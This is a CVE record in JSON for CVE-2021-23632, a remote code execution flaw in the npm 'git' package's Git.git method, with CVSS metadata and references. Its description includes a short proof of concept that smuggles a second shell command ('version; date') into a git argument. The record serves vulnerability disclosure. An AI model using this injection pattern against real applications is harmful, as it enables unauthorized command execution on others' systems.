{"containers":{"cna":{"affected":[{"product":"git","vendor":"n/a","versions":[{"lessThan":"unspecified","status":"affected","version":"0","versionType":"custom"}]}],"credits":[{"lang":"en","value":"Paul-Emmanuel Raoul of SkypLabs"}],"datePublic":"2022-03-17T00:00:00.000Z","descriptions":[{"lang":"en","value":"All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require(\"git\").Git; var repo = new Git(\"repo-test\"); var user_input = \"version; date\"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work."}],"metrics":[{"cvssV3_1":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.6,"baseSeverity":"MEDIUM","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"HIGH","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"description":"Remote Code Execution (RCE)","lang":"en","type":"text"}]}],"providerMetadata":{"dateUpdated":"2022-03-17T11:20:22.000Z","orgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730","shortName":"snyk"},"references":[{"tags":["x_refsource_MISC"],"url":"https://snyk.io/vuln/SNYK-JS-GIT-1568518"}],"title":"Remote Code Execution (RCE)","x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"report@snyk.io","DATE_PUBLIC":"2022-03-17T11:16:18.518275Z","ID":"CVE-2021-23632","STATE":"PUBLIC","TITLE":"Remote Code Execution (RCE)"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"git","version":{"version_data":[{"version_affected":">=","version_value":"0"}]}}]},"vendor_name":"n/a"}]}},"credit":[{"lang":"eng","value":"Paul-Emmanuel Raoul of SkypLabs"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require(\"git\").Git; var repo = new Git(\"repo-test\"); var user_input = \"version; date\"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work."}]},"impact":{"cvss":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.6,"baseSeverity":"MEDIUM","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"HIGH","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"Remote Code Execution (RCE)"}]}]},"references":{"reference_data":[{"name":"https://snyk.io/vuln/SNYK-JS-GIT-1568518","refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JS-GIT-1568518"}]}}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-03T19:14:08.815Z"},"title":"CVE Program Container","references":[{"tags":["x_refsource_MISC","x_transferred"],"url":"https://snyk.io/vuln/SNYK-JS-GIT-1568518"}]}]},"cveMetadata":{"assignerOrgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730","assignerShortName":"snyk","cveId":"CVE-2021-23632","datePublished":"2022-03-17T11:20:22.259Z","dateReserved":"2021-01-08T00:00:00.000Z","dateUpdated":"2024-09-16T17:38:11.969Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.1"}